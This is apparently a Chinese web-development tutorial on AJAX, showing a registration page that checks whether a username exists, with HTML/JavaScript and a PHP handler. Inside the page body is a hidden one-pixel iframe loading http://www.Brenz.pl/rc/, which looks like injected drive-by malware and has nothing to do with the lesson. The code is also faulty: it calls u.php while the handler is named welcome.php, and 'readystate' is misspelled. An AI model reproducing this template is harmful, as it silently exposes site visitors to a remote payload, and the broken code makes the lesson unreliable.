AJAX即“Asynchronous Javascript And XML”（异步JavaScript和XML），是指一种创建交互式网页应用的网页开发技术。
AJAX = Asynchronous JavaScript and XML（异步的 JavaScript 和 XML）。
AJAX 不是新的编程语言，而是一种使用现有标准的新方法。
AJAX 是与服务器交换数据并更新部分网页的艺术，在不重新加载整个页面的情况下。
设计一个用户注册页面，当用户输入注册名的时候，检测用户名是否已存在，如果存在，给予提示
我们先打index.php
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=gb2312" />
<script type="text/JavaScript">
function Ajax(){
var xmlHttpReq=null;//初始对象xmlHttpReq
if(window.ActiveXObject){
xmlHttpReq=new ActiveXObject("Microsoft.XMLHTTP");
}else if(window.XMLHttpRequest){
xmlHttpReq=new XMLHttpRequest();
}
var userId=document.getElementById("userId").value;//value取得id为userId的值
url="u.php?userId="+userId;//路径
if(xmlHttpReq!=null){//若对象实例化创建成功
xmlHttpReq.open("GET",url,true);//open()打开请求
xmlHttpReq.onreadystatechange=RequestCallBack;//设置回调函数RequestCallBack()
xmlHttpReq.send(null);//请求不包括正文
}
function RequestCallBack(){//回调函数
if(xmlHttpReq.readystate==4){
if(xmlHttpReq.status==200){//请求成功
document.getElementById("get").innerHTML=xmlHttpReq.responseText;//将得到的信息赋给id属性为get的div
}
}
}
}
</script>
</head>
<body>
<font>
注册
</font><br>
<form>
用户名:<input type="text"value="yuki"id="userId"name="userId"><input type="button"value="检测"onclick="Ajax()">
<div id="get">
</div>
</form>
<iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe>
</body>
</html>
welcome.php
<?php
header("content-type:text/html;charset=gb2312");
//sleep(1);
$userId=$_GET["userId"];
if($userId=="管理员"){
echo "用户名已存在!";
}else{
echo "该用户名可以注册";
}
?>
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